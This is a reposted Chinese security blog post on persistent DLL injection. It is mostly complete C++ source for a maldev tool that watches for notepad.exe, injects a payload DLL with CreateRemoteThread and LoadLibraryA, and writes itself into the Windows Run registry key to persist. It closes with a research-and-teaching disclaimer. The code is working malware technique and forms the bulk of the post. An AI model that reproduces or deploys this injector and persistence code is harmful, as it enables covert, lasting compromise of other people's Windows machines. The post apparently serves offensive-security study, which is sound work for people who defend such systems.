Persistent DLL Injection

admin 2025年1月1日21:17:30评论8 views字数 6066阅读20分13秒阅读模式
Persistent DLL Injection的概念是,以notepad为目标进程为例,传统dll inject只能注入一次,当notepad进程退出后,payload就结束。持久化dll注入使得每次启动notepad进程的时候都会自动注入payload.dll
主要需要实现三个部分:1. DLL注入器 2. 修改注册表添加自启动 3. 循环监控目标进程是否正在运行,如果存在则检查payload.dll是否注入,如果没有则执行注入。
Persistent DLL Injection
主函数里面是一个loop,loop里面是判断目标进程是否有在运行,如果在运行获取到pid然后判断dll是否已经加载,如果没有加载,则执行DllInject的逻辑,接着获取当前executable的绝对路径,添加到注册表Runkey中做持久化。
#include<windows.h>#include<iostream>#include<tlhelp32.h>#include"validations.h"using namespace std;// Function to get the Process ID (PID) by its name.int getPIDbyProcName(const char* procName) {    int pid = 0;    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Take a snapshot of all running processes    PROCESSENTRY32 pe32;    pe32.dwSize = sizeof(PROCESSENTRY32);    if (Process32First(hSnap, &pe32) != FALSE) {        while (pid == 0 && Process32Next(hSnap, &pe32) != FALSE) {            if (strcmp((char*)pe32.szExeFile, procName) == 0) { // Check if the process name matches the target name                pid = pe32.th32ProcessID; // Set the PID if a match is found            }        }    }    CloseHandle(hSnap); // Close the handle to the snapshot    return pid; // Return the PID, or 0 if not found}// Function to inject a DLL into a target process.bool DLLinjector(DWORD pid, char* dllPath) {    typedef LPVOID memory_buffer;    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); // Open the target process with all access rights    if (hProc == NULL) {        cout << "OpenProcess() failed: " << GetLastError() << endl;        return false;    }    HMODULE hKernel32 = GetModuleHandle(L"Kernel32"); // Get the handle to Kernel32.dll    void* lb = GetProcAddress(hKernel32, "LoadLibraryA"); // Get the address of LoadLibraryA function    memory_buffer allocMem = VirtualAllocEx(hProc, NULL, strlen(dllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); // Allocate memory in the target process    if (allocMem == NULL) {        cout << "VirtualAllocEx() failed: " << GetLastError() << endl;        return false;    }    WriteProcessMemory(hProc, allocMem, dllPath, strlen(dllPath), NULL); // Write the DLL path to the allocated memory    HANDLE rThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)lb, allocMem, 0, NULL); // Create a remote thread in the target process to load the DLL    if (rThread == NULL) {        cout << "CreateRemoteThread() failed: " << GetLastError() << endl;        return false;    }    CloseHandle(hProc); // Close the handle to the target process    FreeLibrary(hKernel32); // Free the handle to Kernel32.dll    VirtualFreeEx(hProc, allocMem, strlen(dllPath), MEM_RELEASE); // Free the allocated memory in the target process    return true;}// Function to add the executable to the Windows Run registry key.int runkeys(const char* exe) {    HKEY hkey = NULL;    LONG res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPWSTR)"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE, &hkey); // Open the Windows Run registry key    if (res == ERROR_SUCCESS) {        RegSetValueEx(hkey, (LPWSTR)"dllpersistentmaldev", 0, REG_SZ, (unsigned char*)exe, strlen(exe)); // Set the value with the executable path        RegCloseKey(hkey); // Close the registry key handle    }    return 0;}int main(int argc, char* argv[]) {    const char* path = "C:\hellomaldev.dll"; // DLL path    char process[] = "notepad.exe"; // Target process name    cout << "Path: " << path << "n" << "Process: " << process << endl;    // Loop to continuously monitor the target process    while (true) {        if (IsProcessRunning(process)) { // Check if the target process is running            int pid = getPIDbyProcName(process); // Get the PID of the target process            if (IsDLLLoaded(pid, L"hellomaldev.dll")) { // Check if the DLL is already loaded in the target process                OutputDebugStringA("DLL already loaded"); // Output a debug message indicating the DLL is already loaded            }            else {                DLLinjector(pid, (char *)path); // Inject the DLL into the target process            }            // Get the path of the current executable and add it to the Windows Run registry key            char buffer[MAX_PATH];            GetModuleFileName(NULL, (LPWSTR)buffer, MAX_PATH);            std::string fullPath(buffer);            std::size_t found = fullPath.find_last_of("\");            std::string exeDirectory = fullPath.substr(0, found);            std::string exeName = fullPath.substr(found + 1);            std::string fullPathToExe = exeDirectory + "\" + exeName;            OutputDebugStringA(fullPathToExe.c_str());            runkeys(fullPathToExe.c_str());        }        Sleep(1000); // Wait for 1 second before checking the process again    }    return 0;}
#pragma once#include<Windows.h>#include<iostream>#include<TlHelp32.h>#include<string>using namespace std;// Function to check if a process with the specified name is running.bool IsProcessRunning(char* processName) {    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // Take a snapshot of all running processes    if (hSnapshot == INVALID_HANDLE_VALUE)        return false;    PROCESSENTRY32 processEntry;    processEntry.dwSize = sizeof(PROCESSENTRY32);    if (Process32First(hSnapshot, &processEntry)) { // Start iterating through the processes in the snapshot        do {            //if (processName.compare(processEntry.szExeFile) == 0) { // Compare the process name with the target name            if (strcmp(processName,(char *)processEntry.szExeFile) == 0){                CloseHandle(hSnapshot); // Close the handle to the snapshot                return true; // Return true if the process name matches the target name            }        } while (Process32Next(hSnapshot, &processEntry)); // Continue iterating through the processes    }    CloseHandle(hSnapshot); // Close the handle to the snapshot if the process is not found    return false; // Return false if the process is not found}// Function to check if a DLL with the specified name is loaded in a given process.bool IsDLLLoaded(DWORD processId, const std::wstring& dllName) {    HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, processId); // Take a snapshot of the modules loaded in the target process    if (hModuleSnap == INVALID_HANDLE_VALUE) {        return false; // Return false if the snapshot creation fails    }    MODULEENTRY32W moduleEntry;    moduleEntry.dwSize = sizeof(MODULEENTRY32W);    bool dllFound = false;    if (Module32FirstW(hModuleSnap, &moduleEntry)) { // Start iterating through the modules in the snapshot        do {            if (dllName.compare(moduleEntry.szModule) == 0) { // Compare the DLL name with the target name                dllFound = true; // Set the flag to true if the DLL name matches the target name                break; // Exit the loop as we have found the DLL            }        } while (Module32NextW(hModuleSnap, &moduleEntry)); // Continue iterating through the modules    }    CloseHandle(hModuleSnap); // Close the handle to the snapshot    return dllFound; // Return true if the DLL is found, otherwise, return false}

原文始发于微信公众号(Definite R3dBlue):Persistent DLL Injection

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日21:17:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Persistent DLL Injectionhttps://cn-sec.com/archives/3581162.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息